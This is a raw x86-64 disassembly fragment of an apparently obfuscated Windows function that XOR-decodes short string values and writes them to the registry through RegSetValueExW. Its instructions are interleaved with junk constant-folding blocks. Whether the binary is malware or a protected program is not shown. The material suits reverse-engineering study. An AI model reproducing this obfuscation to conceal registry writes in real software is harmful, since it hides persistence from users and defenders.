rol r9d, 0xe8
popf
pushf
not r9d
add r9d, 0xe2ec27d9
xor r9d, 0xc4c3d4b5
rol r9d, 0xe9
popf
mov dword [rsp + 0x28], ecx
lea rax, [rbp + 0x80]
mov rcx, qword [rbp + 0x60]
lea rdx, [rbp - 0x76]
xor r8d, r8d
mov qword [rsp + 0x20], rax
jmp 0x14023b98e
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
je 0x14023b9e0
push rax
pushf
mov eax, 0x822a6d4f
pushf
not eax
add eax, 0xbbcf1e84
xor eax, 0x92f245d8
rol eax, 0x91
popf
pushf
not eax
add eax, 0xdad9b4c0
xor eax, 0xca2fb7ee
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x9b9fb4de
xor eax, 0xc06064fc
rol eax, 0x6a
popf
jmp 0x14023a310
push rax
pushf
mov eax, 0x9d8c70a3
pushf
not eax
add eax, 0xab6665d7
xor eax, 0xc36a59ab
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xd56e4556
xor eax, 0x8ed91d13
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xf28bbf30
xor eax, 0xbcb2ec22
rol eax, 0x40
popf
jmp 0x14023a310
mov rcx, qword [rbp + 0x60]
jmp 0x14023ba2b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x68]
jmp 0x14023ba36
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x14023bc77
movzx eax, word [0x1400f7df0]
mov esi, 0xb38861e9
pushf
not esi
add esi, 0xb3e940d3
xor esi, 0x9ea5e63c
rol esi, 0xb8
popf
pushf
not esi
add esi, 0xab063705
xor esi, 0xc26771cc
rol esi, 0xe9
popf
movzx r8d, word [0x1400f7dec]
xor ax, si
movzx ecx, word [0x1400f7dee]
xor r8w, si
movzx ebx, word [0x1400f7dea]
xor cx, si
lea r9d, [rsi + 0x4c]
mov dword [rsp + 0x28], 4
xor r9w, si
mov word [rbp - 0x78], si
mov word [rbp - 0x76], r9w
lea r10d, [rsi + 0x30]
mov r9d, 0xbdb1ad
pushf
not r9d
add r9d, 0xd87bb11c
xor r9d, 0x9f8a6ac0
rol r9d, 0x71
popf
pushf
not r9d
add r9d, 0xc234bb1d
xor r9d, 0xa3c9de48
rol r9d, 0x70
popf
pushf
not r9d
add r9d, 0xeeb51993
xor r9d, 0xa5cfe480
rol r9d, 0x46
popf
mov word [rbp - 0x64], r14w
xor ax, si
lea r11d, [rsi + 0x1d]
xor r9w, si
mov word [rbp - 0x66], ax
xor r8w, si
mov word [rbp - 0x74], r9w
xor cx, si
mov word [rbp - 0x6a], r8w
movzx edx, si
mov word [rbp - 0x68], cx
mov rcx, qword [rbp + 0x60]
lea rax, [rbp + 0x70]
xor dx, si
mov qword [rsp + 0x20], rax
xor r10w, si
mov word [rbp - 0x6e], dx
xor r11w, si
mov word [rbp - 0x72], r10w
xor bx, si
mov word [rbp - 0x70], r11w
xor bx, si
lea r9d, [rsi - 0x2a]
xor r8d, r8d
mov word [rbp - 0x6c], bx
lea rdx, [rbp - 0x76]
jmp 0x14023bbc8
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
test eax, eax
jne 0x14023bc31
push rax
pushf
mov eax, 0x37569259
pushf
not eax
add eax, 0xa6e974ec
xor eax, 0x8eb2697b
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xea68bae1
xor eax, 0xe2cb2f7d
rol eax, 0x17
popf
pushf
not eax
add eax, 0xfc5fefa7
xor eax, 0xa5e98f32
rol eax, 0x22
popf
pushf
not eax
add eax, 0xc6540ea5
xor eax, 0xc990937c
rol eax, 0xc1
popf
jmp 0x14023a310
push rax
pushf
mov eax, 0xb9a82202
pushf
not eax
add eax, 0xed36d30b
xor eax, 0x9404caa0
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x9d7a0c3f
xor eax, 0x80446f4a
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xaa704369
xor eax, 0xb2331347
rol eax, 0x88
popf
jmp 0x14023a310
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.1402ac965
mov rbx, qword [rsp + 0x3e0]
add rsp, 0x3a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret